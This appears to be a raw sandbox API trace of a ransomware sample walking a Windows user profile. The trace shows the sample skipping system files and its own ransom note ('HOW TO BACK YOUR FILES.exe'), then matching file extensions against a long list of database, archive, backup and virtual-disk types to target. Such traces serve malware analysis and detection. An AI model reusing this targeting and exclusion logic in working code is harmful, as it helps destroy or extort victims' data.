	[0046.934] lstrcmpiW (lpString1="Local Settings", lpString2="boot") returned 1
	[0046.934] lstrcmpiW (lpString1="Local Settings", lpString2="ids.txt") returned 1
	[0046.934] lstrcmpiW (lpString1="Local Settings", lpString2="ntuser.dat") returned -1
	[0046.934] lstrcmpiW (lpString1="Local Settings", lpString2="perflogs") returned -1
	[0046.934] lstrcmpiW (lpString1="Local Settings", lpString2="MSBuild") returned -1
	[0046.934] lstrlenW (lpString="Local Settings") returned 14
	[0046.934] lstrlenW (lpString="C:\\Users\\Default\\Links") returned 22
	[0046.934] lstrcpyW (in: lpString1=0x119e62a, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings"
	[0046.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0046.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x40) returned 0x5b5f20
	[0046.935] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc10 | out: ListHead=0x5b75f0, ListEntry=0x59fc10) returned 0x59fbf0
	[0046.935] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e0cc510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e0cc510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
	[0046.935] lstrcmpiW (lpString1="Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.935] lstrcmpiW (lpString1="Music", lpString2="Apollon865.txt.exe") returned 1
	[0046.935] lstrcmpiW (lpString1="Music", lpString2=".") returned 1
	[0046.935] lstrcmpiW (lpString1="Music", lpString2="..") returned 1
	[0046.935] lstrcmpiW (lpString1="Music", lpString2="windows") returned -1
	[0046.935] lstrcmpiW (lpString1="Music", lpString2="bootmgr") returned 1
	[0046.935] lstrcmpiW (lpString1="Music", lpString2="temp") returned -1
	[0046.935] lstrcmpiW (lpString1="Music", lpString2="pagefile.sys") returned -1
	[0046.935] lstrcmpiW (lpString1="Music", lpString2="boot") returned 1
	[0046.935] lstrcmpiW (lpString1="Music", lpString2="ids.txt") returned 1
	[0046.935] lstrcmpiW (lpString1="Music", lpString2="ntuser.dat") returned -1
	[0046.935] lstrcmpiW (lpString1="Music", lpString2="perflogs") returned -1
	[0046.935] lstrcmpiW (lpString1="Music", lpString2="MSBuild") returned 1
	[0046.935] lstrlenW (lpString="Music") returned 5
	[0046.935] lstrlenW (lpString="C:\\Users\\Default\\Local Settings") returned 31
	[0046.935] lstrcpyW (in: lpString1=0x119e62a, lpString2="Music" | out: lpString1="Music") returned="Music"
	[0046.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0046.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2e) returned 0x5b7ed0
	[0046.935] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc30 | out: ListHead=0x5b75f0, ListEntry=0x59fc30) returned 0x59fc10
	[0046.935] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1
	[0046.935] lstrcmpiW (lpString1="My Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.935] lstrcmpiW (lpString1="My Documents", lpString2="Apollon865.txt.exe") returned 1
	[0046.935] lstrcmpiW (lpString1="My Documents", lpString2=".") returned 1
	[0046.935] lstrcmpiW (lpString1="My Documents", lpString2="..") returned 1
	[0046.935] lstrcmpiW (lpString1="My Documents", lpString2="windows") returned -1
	[0046.935] lstrcmpiW (lpString1="My Documents", lpString2="bootmgr") returned 1
	[0046.935] lstrcmpiW (lpString1="My Documents", lpString2="temp") returned -1
	[0046.935] lstrcmpiW (lpString1="My Documents", lpString2="pagefile.sys") returned -1
	[0046.935] lstrcmpiW (lpString1="My Documents", lpString2="boot") returned 1
	[0046.936] lstrcmpiW (lpString1="My Documents", lpString2="ids.txt") returned 1
	[0046.936] lstrcmpiW (lpString1="My Documents", lpString2="ntuser.dat") returned -1
	[0046.936] lstrcmpiW (lpString1="My Documents", lpString2="perflogs") returned -1
	[0046.936] lstrcmpiW (lpString1="My Documents", lpString2="MSBuild") returned 1
	[0046.936] lstrlenW (lpString="My Documents") returned 12
	[0046.936] lstrlenW (lpString="C:\\Users\\Default\\Music") returned 22
	[0046.936] lstrcpyW (in: lpString1=0x119e62a, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents"
	[0046.936] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0046.936] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3c) returned 0x5b6118
	[0046.936] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc50 | out: ListHead=0x5b75f0, ListEntry=0x59fc50) returned 0x59fc30
	[0046.936] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1
	[0046.936] lstrcmpiW (lpString1="NetHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.936] lstrcmpiW (lpString1="NetHood", lpString2="Apollon865.txt.exe") returned 1
	[0046.936] lstrcmpiW (lpString1="NetHood", lpString2=".") returned 1
	[0046.936] lstrcmpiW (lpString1="NetHood", lpString2="..") returned 1
	[0046.936] lstrcmpiW (lpString1="NetHood", lpString2="windows") returned -1
	[0046.936] lstrcmpiW (lpString1="NetHood", lpString2="bootmgr") returned 1
	[0046.936] lstrcmpiW (lpString1="NetHood", lpString2="temp") returned -1
	[0046.936] lstrcmpiW (lpString1="NetHood", lpString2="pagefile.sys") returned -1
	[0046.936] lstrcmpiW (lpString1="NetHood", lpString2="boot") returned 1
	[0046.936] lstrcmpiW (lpString1="NetHood", lpString2="ids.txt") returned 1
	[0046.936] lstrcmpiW (lpString1="NetHood", lpString2="ntuser.dat") returned -1
	[0046.936] lstrcmpiW (lpString1="NetHood", lpString2="perflogs") returned -1
	[0046.936] lstrcmpiW (lpString1="NetHood", lpString2="MSBuild") returned 1
	[0046.936] lstrlenW (lpString="NetHood") returned 7
	[0046.936] lstrlenW (lpString="C:\\Users\\Default\\My Documents") returned 29
	[0046.936] lstrcpyW (in: lpString1=0x119e62a, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood"
	[0046.936] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0046.936] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca210
	[0046.936] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc70 | out: ListHead=0x5b75f0, ListEntry=0x59fc70) returned 0x59fc50
	[0046.936] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1
	[0046.936] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.936] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="Apollon865.txt.exe") returned 1
	[0046.936] lstrcmpiW (lpString1="NTUSER.DAT", lpString2=".") returned 1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="..") returned 1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="windows") returned -1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="bootmgr") returned 1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="temp") returned -1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="pagefile.sys") returned -1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="boot") returned 1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="ids.txt") returned 1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="ntuser.dat") returned 0
	[0046.937] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="Apollon865.txt.exe") returned 1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2=".") returned 1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="..") returned 1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="windows") returned -1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="bootmgr") returned 1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="temp") returned -1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="pagefile.sys") returned -1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="boot") returned 1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="ids.txt") returned 1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="ntuser.dat") returned 1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="perflogs") returned -1
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2="MSBuild") returned 1
	[0046.937] lstrlenW (lpString="NTUSER.DAT.LOG") returned 14
	[0046.937] lstrlenW (lpString="C:\\Users\\Default\\NetHood") returned 24
	[0046.937] lstrcpyW (in: lpString1=0x119e62a, lpString2="NTUSER.DAT.LOG" | out: lpString1="NTUSER.DAT.LOG") returned="NTUSER.DAT.LOG"
	[0046.937] lstrlenW (lpString="NTUSER.DAT.LOG") returned 14
	[0046.937] lstrlenW (lpString="Apollon865") returned 10
	[0046.937] lstrcmpiW (lpString1="ER.DAT.LOG", lpString2="Apollon865") returned 1
	[0046.937] lstrlenW (lpString=".dll") returned 4
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2=".dll") returned 1
	[0046.937] lstrlenW (lpString=".lnk") returned 4
	[0046.937] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2=".lnk") returned 1
	[0046.938] lstrlenW (lpString=".ini") returned 4
	[0046.938] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2=".ini") returned 1
	[0046.938] lstrlenW (lpString=".sys") returned 4
	[0046.938] lstrcmpiW (lpString1="NTUSER.DAT.LOG", lpString2=".sys") returned 1
	[0046.938] lstrlenW (lpString="NTUSER.DAT.LOG") returned 14
	[0046.938] lstrlenW (lpString="bak") returned 3
	[0046.938] lstrcmpiW (lpString1="LOG", lpString2="bak") returned 1
	[0046.938] lstrlenW (lpString="ba_") returned 3
	[0046.938] lstrcmpiW (lpString1="LOG", lpString2="ba_") returned 1
	[0046.938] lstrlenW (lpString="dbb") returned 3
	[0046.938] lstrcmpiW (lpString1="LOG", lpString2="dbb") returned 1
	[0046.938] lstrlenW (lpString="vmdk") returned 4
	[0046.938] lstrcmpiW (lpString1=".LOG", lpString2="vmdk") returned -1
	[0046.938] lstrlenW (lpString="rar") returned 3
	[0046.938] lstrcmpiW (lpString1="LOG", lpString2="rar") returned -1
	[0046.938] lstrlenW (lpString="zip") returned 3
	[0046.938] lstrcmpiW (lpString1="LOG", lpString2="zip") returned -1
	[0046.938] lstrlenW (lpString="tgz") returned 3
	[0046.938] lstrcmpiW (lpString1="LOG", lpString2="tgz") returned -1
	[0046.938] lstrlenW (lpString="vbox") returned 4
	[0046.938] lstrcmpiW (lpString1=".LOG", lpString2="vbox") returned -1
	[0046.938] lstrlenW (lpString="vdi") returned 3
	[0046.938] lstrcmpiW (lpString1="LOG", lpString2="vdi") returned -1
	[0046.938] lstrlenW (lpString="vhd") returned 3
	[0046.938] lstrcmpiW (lpString1="LOG", lpString2="vhd") returned -1
	[0046.938] lstrlenW (lpString="vhdx") returned 4
	[0046.938] lstrcmpiW (lpString1=".LOG", lpString2="vhdx") returned -1
	[0046.938] lstrlenW (lpString="avhd") returned 4
	[0046.938] lstrcmpiW (lpString1=".LOG", lpString2="avhd") returned -1
	[0046.938] lstrlenW (lpString="db") returned 2
	[0046.938] lstrcmpiW (lpString1="OG", lpString2="db") returned 1
	[0046.938] lstrlenW (lpString="db2") returned 3
	[0046.938] lstrcmpiW (lpString1="LOG", lpString2="db2") returned 1
	[0046.939] lstrlenW (lpString="db3") returned 3
	[0046.939] lstrcmpiW (lpString1="LOG", lpString2="db3") returned 1
	[0046.939] lstrlenW (lpString="dbf") returned 3
	[0046.939] lstrcmpiW (lpString1="LOG", lpString2="dbf") returned 1
	[0046.939] lstrlenW (lpString="mdf") returned 3
	[0046.939] lstrcmpiW (lpString1="LOG", lpString2="mdf") returned -1
	[0046.939] lstrlenW (lpString="mdb") returned 3
	[0046.939] lstrcmpiW (lpString1="LOG", lpString2="mdb") returned -1
	[0046.939] lstrlenW (lpString="sql") returned 3
	[0046.939] lstrcmpiW (lpString1="LOG", lpString2="sql") returned -1
	[0046.939] lstrlenW (lpString="sqlite") returned 6
	[0046.939] lstrcmpiW (lpString1="AT.LOG", lpString2="sqlite") returned -1
	[0046.939] lstrlenW (lpString="sqlite3") returned 7
	[0046.939] lstrcmpiW (lpString1="DAT.LOG", lpString2="sqlite3") returned -1
	[0046.939] lstrlenW (lpString="sqlitedb") returned 8
	[0046.939] lstrcmpiW (lpString1=".DAT.LOG", lpString2="sqlitedb") returned -1
	[0046.939] lstrlenW (lpString="xml") returned 3
	[0046.939] lstrcmpiW (lpString1="LOG", lpString2="xml") returned -1
	[0046.939] lstrlenW (lpString="$er") returned 3
	[0046.939] lstrcmpiW (lpString1="LOG", lpString2="$er") returned 1
	[0046.939] lstrlenW (lpString="4dd") returned 3
	[0046.939] lstrcmpiW (lpString1="LOG", lpString2="4dd") returned 1
	[0046.939] lstrlenW (lpString="4dl") returned 3
	[0046.939] lstrcmpiW (lpString1="LOG", lpString2="4dl") returned 1
	[0046.939] lstrlenW (lpString="^^^") returned 3
	[0046.939] lstrcmpiW (lpString1="LOG", lpString2="^^^") returned 1
	[0046.939] lstrlenW (lpString="abs") returned 3
	[0046.939] lstrcmpiW (lpString1="LOG", lpString2="abs") returned 1
	[0046.939] lstrlenW (lpString="abx") returned 3
	[0046.939] lstrcmpiW (lpString1="LOG", lpString2="abx") returned 1
	[0046.939] lstrlenW (lpString="accdb") returned 5
	[0046.939] lstrcmpiW (lpString1="T.LOG", lpString2="accdb") returned 1
	[0046.939] lstrlenW (lpString="accdc") returned 5
	[0046.939] lstrcmpiW (lpString1="T.LOG", lpString2="accdc") returned 1
	[0046.940] lstrlenW (lpString="accde") returned 5
	[0046.940] lstrcmpiW (lpString1="T.LOG", lpString2="accde") returned 1
	[0046.940] lstrlenW (lpString="accdr") returned 5
	[0046.940] lstrcmpiW (lpString1="T.LOG", lpString2="accdr") returned 1
	[0046.940] lstrlenW (lpString="accdt") returned 5
	[0046.940] lstrcmpiW (lpString1="T.LOG", lpString2="accdt") returned 1
	[0046.940] lstrlenW (lpString="accdw") returned 5
	[0046.940] lstrcmpiW (lpString1="T.LOG", lpString2="accdw") returned 1
	[0046.940] lstrlenW (lpString="accft") returned 5
	[0046.940] lstrcmpiW (lpString1="T.LOG", lpString2="accft") returned 1
	[0046.940] lstrlenW (lpString="adb") returned 3
	[0046.940] lstrcmpiW (lpString1="LOG", lpString2="adb") returned 1
	[0046.940] lstrlenW (lpString="adb") returned 3
	[0046.940] lstrcmpiW (lpString1="LOG", lpString2="adb") returned 1
	[0046.940] lstrlenW (lpString="ade") returned 3
	[0046.940] lstrcmpiW (lpString1="LOG", lpString2="ade") returned 1
	[0046.940] lstrlenW (lpString="adf") returned 3
	[0046.940] lstrcmpiW (lpString1="LOG", lpString2="adf") returned 1
	[0046.940] lstrlenW (lpString="adn") returned 3
	[0046.940] lstrcmpiW (lpString1="LOG", lpString2="adn") returned 1
	[0046.940] lstrlenW (lpString="adp") returned 3
	[0046.940] lstrcmpiW (lpString1="LOG", lpString2="adp") returned 1
	[0046.940] lstrlenW (lpString="alf") returned 3
	[0046.940] lstrcmpiW (lpString1="LOG", lpString2="alf") returned 1
	[0046.940] lstrlenW (lpString="ask") returned 3
	[0046.940] lstrcmpiW (lpString1="LOG", lpString2="ask") returned 1
	[0046.940] lstrlenW (lpString="btr") returned 3
	[0046.940] lstrcmpiW (lpString1="LOG", lpString2="btr") returned 1
	[0046.940] lstrlenW (lpString="cat") returned 3
	[0046.940] lstrcmpiW (lpString1="LOG", lpString2="cat") returned 1
	[0046.940] lstrlenW (lpString="cdb") returned 3
	[0046.940] lstrcmpiW (lpString1="LOG", lpString2="cdb") returned 1
	[0046.940] lstrlenW (lpString="ckp") returned 3
	[0046.940] lstrcmpiW (lpString1="LOG", lpString2="ckp") returned 1
	[0046.941] lstrlenW (lpString="cma") returned 3
	[0046.941] lstrcmpiW (lpString1="LOG", lpString2="cma") returned 1
	[0046.941] lstrlenW (lpString="cpd") returned 3
	[0046.941] lstrcmpiW (lpString1="LOG", lpString2="cpd") returned 1
	[0046.941] lstrlenW (lpString="dacpac") returned 6
	[0046.941] lstrcmpiW (lpString1="AT.LOG", lpString2="dacpac") returned -1
	[0046.941] lstrlenW (lpString="dad") returned 3
	[0046.941] lstrcmpiW (lpString1="LOG", lpString2="dad") returned 1
	[0046.941] lstrlenW (lpString="dadiagrams") returned 10
	[0046.941] lstrcmpiW (lpString1="ER.DAT.LOG", lpString2="dadiagrams") returned 1
	[0046.941] lstrlenW (lpString="daschema") returned 8
	[0046.941] lstrcmpiW (lpString1=".DAT.LOG", lpString2="daschema") returned -1
	[0046.941] lstrlenW (lpString="db-journal") returned 10
	[0046.941] lstrcmpiW (lpString1="ER.DAT.LOG", lpString2="db-journal") returned 1
	[0046.941] lstrlenW (lpString="db-shm") returned 6
	[0046.941] lstrcmpiW (lpString1="AT.LOG", lpString2="db-shm") returned -1
	[0046.941] lstrlenW (lpString="db-wal") returned 6
	[0046.941] lstrcmpiW (lpString1="AT.LOG", lpString2="db-wal") returned -1
	[0046.941] lstrlenW (lpString="dbc") returned 3
	[0046.941] lstrcmpiW (lpString1="LOG", lpString2="dbc") returned 1
	[0046.941] lstrlenW (lpString="dbs") returned 3
	[0046.941] lstrcmpiW (lpString1="LOG", lpString2="dbs") returned 1
	[0046.941] lstrlenW (lpString="dbt") returned 3
	[0046.941] lstrcmpiW (lpString1="LOG", lpString2="dbt") returned 1
	[0046.941] lstrlenW (lpString="dbv") returned 3
	[0046.941] lstrcmpiW (lpString1="LOG", lpString2="dbv") returned 1
	[0046.941] lstrlenW (lpString="dbx") returned 3
	[0046.941] lstrcmpiW (lpString1="LOG", lpString2="dbx") returned 1
	[0046.941] lstrlenW (lpString="dcb") returned 3
	[0046.941] lstrcmpiW (lpString1="LOG", lpString2="dcb") returned 1
	[0046.942] lstrlenW (lpString="dct") returned 3
	[0046.942] lstrcmpiW (lpString1="LOG", lpString2="dct") returned 1
	[0046.942] lstrlenW (lpString="dcx") returned 3
	[0046.942] lstrcmpiW (lpString1="LOG", lpString2="dcx") returned 1
	[0046.942] lstrlenW (lpString="ddl") returned 3
	[0046.942] lstrcmpiW (lpString1="LOG", lpString2="ddl") returned 1
	[0046.942] lstrlenW (lpString="dlis") returned 4
	[0046.942] lstrcmpiW (lpString1=".LOG", lpString2="dlis") returned -1
	[0046.942] lstrlenW (lpString="dp1") returned 3
	[0046.942] lstrcmpiW (lpString1="LOG", lpString2="dp1") returned 1
	[0046.942] lstrlenW (lpString="dqy") returned 3
	[0046.942] lstrcmpiW (lpString1="LOG", lpString2="dqy") returned 1
	[0046.942] lstrlenW (lpString="dsk") returned 3
	[0046.942] lstrcmpiW (lpString1="LOG", lpString2="dsk") returned 1
	[0046.942] lstrlenW (lpString="dsn") returned 3
	[0046.942] lstrcmpiW (lpString1="LOG", lpString2="dsn") returned 1
	[0046.942] lstrlenW (lpString="dtsx") returned 4
	[0046.942] lstrcmpiW (lpString1=".LOG", lpString2="dtsx") returned -1
	[0046.942] lstrlenW (lpString="dxl") returned 3
	[0046.942] lstrcmpiW (lpString1="LOG", lpString2="dxl") returned 1
	[0046.942] lstrlenW (lpString="eco") returned 3
	[0046.942] lstrcmpiW (lpString1="LOG", lpString2="eco") returned 1
	[0046.942] lstrlenW (lpString="ecx") returned 3
	[0046.942] lstrcmpiW (lpString1="LOG", lpString2="ecx") returned 1
	[0046.942] lstrlenW (lpString="edb") returned 3
	[0046.942] lstrcmpiW (lpString1="LOG", lpString2="edb") returned 1
	[0046.942] lstrlenW (lpString="epim") returned 4
	[0046.942] lstrcmpiW (lpString1=".LOG", lpString2="epim") returned -1
	[0046.942] lstrlenW (lpString="fcd") returned 3
	[0046.942] lstrcmpiW (lpString1="LOG", lpString2="fcd") returned 1
	[0046.942] lstrlenW (lpString="fdb") returned 3
	[0046.942] lstrcmpiW (lpString1="LOG", lpString2="fdb") returned 1
	[0046.942] lstrlenW (lpString="fic") returned 3
	[0046.942] lstrcmpiW (lpString1="LOG", lpString2="fic") returned 1
	[0046.942] lstrlenW (lpString="flexolibrary") returned 12
	[0046.943] lstrcmpiW (lpString1="USER.DAT.LOG", lpString2="flexolibrary") returned 1
	[0046.943] lstrlenW (lpString="fm5") returned 3
	[0046.943] lstrcmpiW (lpString1="LOG", lpString2="fm5") returned 1
	[0046.943] lstrlenW (lpString="fmp") returned 3
	[0046.943] lstrcmpiW (lpString1="LOG", lpString2="fmp") returned 1
	[0046.943] lstrlenW (lpString="fmp12") returned 5
	[0046.943] lstrcmpiW (lpString1="T.LOG", lpString2="fmp12") returned 1
	[0046.943] lstrlenW (lpString="fmpsl") returned 5
	[0046.943] lstrcmpiW (lpString1="T.LOG", lpString2="fmpsl") returned 1
	[0046.943] lstrlenW (lpString="fol") returned 3
	[0046.943] lstrcmpiW (lpString1="LOG", lpString2="fol") returned 1
	[0046.943] lstrlenW (lpString="fp3") returned 3
	[0046.943] lstrcmpiW (lpString1="LOG", lpString2="fp3") returned 1
	[0046.943] lstrlenW (lpString="fp4") returned 3
	[0046.943] lstrcmpiW (lpString1="LOG", lpString2="fp4") returned 1
	[0046.943] lstrlenW (lpString="fp5") returned 3
	[0046.943] lstrcmpiW (lpString1="LOG", lpString2="fp5") returned 1
	[0046.943] lstrlenW (lpString="fp7") returned 3
	[0046.943] lstrcmpiW (lpString1="LOG", lpString2="fp7") returned 1
	[0046.943] lstrlenW (lpString="fpt") returned 3
	[0046.943] lstrcmpiW (lpString1="LOG", lpString2="fpt") returned 1
	[0046.943] lstrlenW (lpString="frm") returned 3
	[0046.943] lstrcmpiW (lpString1="LOG", lpString2="frm") returned 1
	[0046.943] lstrlenW (lpString="gdb") returned 3
	[0046.943] lstrcmpiW (lpString1="LOG", lpString2="gdb") returned 1
	[0046.943] lstrlenW (lpString="gdb") returned 3
	[0046.943] lstrcmpiW (lpString1="LOG", lpString2="gdb") returned 1
	[0046.943] lstrlenW (lpString="grdb") returned 4
	[0046.943] lstrcmpiW (lpString1=".LOG", lpString2="grdb") returned -1
	[0046.943] lstrlenW (lpString="gwi") returned 3
	[0046.943] lstrcmpiW (lpString1="LOG", lpString2="gwi") returned 1
	[0046.943] lstrlenW (lpString="hdb") returned 3
	[0046.943] lstrcmpiW (lpString1="LOG", lpString2="hdb") returned 1
	[0046.943] lstrlenW (lpString="his") returned 3
	[0046.943] lstrcmpiW (lpString1="LOG", lpString2="his") returned 1
	[0046.944] lstrlenW (lpString="ib") returned 2
	[0046.944] lstrcmpiW (lpString1="OG", lpString2="ib") returned 1
	[0046.944] lstrlenW (lpString="idb") returned 3
	[0046.944] lstrcmpiW (lpString1="LOG", lpString2="idb") returned 1
	[0046.944] lstrlenW (lpString="ihx") returned 3
	[0046.944] lstrcmpiW (lpString1="LOG", lpString2="ihx") returned 1
	[0046.944] lstrlenW (lpString="itdb") returned 4
	[0046.944] lstrcmpiW (lpString1=".LOG", lpString2="itdb") returned -1
	[0046.944] lstrlenW (lpString="itw") returned 3
	[0046.944] lstrcmpiW (lpString1="LOG", lpString2="itw") returned 1
	[0046.944] lstrlenW (lpString="jet") returned 3
	[0046.944] lstrcmpiW (lpString1="LOG", lpString2="jet") returned 1
	[0046.944] lstrlenW (lpString="jtx") returned 3
	[0046.944] lstrcmpiW (lpString1="LOG", lpString2="jtx") returned 1
	[0046.944] lstrlenW (lpString="kdb") returned 3
	[0046.944] lstrcmpiW (lpString1="LOG", lpString2="kdb") returned 1
	[0046.944] lstrlenW (lpString="kexi") returned 4
	[0046.944] lstrcmpiW (lpString1=".LOG", lpString2="kexi") returned -1
	[0046.944] lstrlenW (lpString="kexic") returned 5
	[0046.944] lstrcmpiW (lpString1="T.LOG", lpString2="kexic") returned 1
	[0046.944] lstrlenW (lpString="kexis") returned 5
	[0046.944] lstrcmpiW (lpString1="T.LOG", lpString2="kexis") returned 1
	[0046.944] lstrlenW (lpString="lgc") returned 3
	[0046.944] lstrcmpiW (lpString1="LOG", lpString2="lgc") returned 1
	[0046.944] lstrlenW (lpString="lwx") returned 3
	[0046.944] lstrcmpiW (lpString1="LOG", lpString2="lwx") returned -1
	[0046.944] lstrlenW (lpString="maf") returned 3
	[0046.944] lstrcmpiW (lpString1="LOG", lpString2="maf") returned -1
	[0046.944] lstrlenW (lpString="maq") returned 3
	[0046.944] lstrcmpiW (lpString1="LOG", lpString2="maq") returned -1
	[0046.944] lstrlenW (lpString="mar") returned 3
	[0046.944] lstrcmpiW (lpString1="LOG", lpString2="mar") returned -1
	[0046.944] lstrlenW (lpString="marshal") returned 7
	[0046.944] lstrcmpiW (lpString1="DAT.LOG", lpString2="marshal") returned -1
	[0046.945] lstrlenW (lpString="mas") returned 3
	[0046.945] lstrcmpiW (lpString1="LOG", lpString2="mas") returned -1
	[0046.945] lstrlenW (lpString="mav") returned 3
	[0046.945] lstrcmpiW (lpString1="LOG", lpString2="mav") returned -1
	[0046.945] lstrlenW (lpString="maw") returned 3
	[0046.945] lstrcmpiW (lpString1="LOG", lpString2="maw") returned -1
	[0046.945] lstrlenW (lpString="mdbhtml") returned 7
	[0046.945] lstrcmpiW (lpString1="DAT.LOG", lpString2="mdbhtml") returned -1
	[0046.945] lstrlenW (lpString="mdn") returned 3
	[0046.945] lstrcmpiW (lpString1="LOG", lpString2="mdn") returned -1
	[0046.945] lstrlenW (lpString="mdt") returned 3
	[0046.945] lstrcmpiW (lpString1="LOG", lpString2="mdt") returned -1
	[0046.945] lstrlenW (lpString="mfd") returned 3
	[0046.945] lstrcmpiW (lpString1="LOG", lpString2="mfd") returned -1
	[0046.945] lstrlenW (lpString="mpd") returned 3
	[0046.945] lstrcmpiW (lpString1="LOG", lpString2="mpd") returned -1
	[0046.945] lstrlenW (lpString="mrg") returned 3
	[0046.945] lstrcmpiW (lpString1="LOG", lpString2="mrg") returned -1
	[0046.945] lstrlenW (lpString="mud") returned 3
	[0046.945] lstrcmpiW (lpString1="LOG", lpString2="mud") returned -1
	[0046.945] lstrlenW (lpString="mwb") returned 3
	[0046.945] lstrcmpiW (lpString1="LOG", lpString2="mwb") returned -1
	[0046.945] lstrlenW (lpString="myd") returned 3
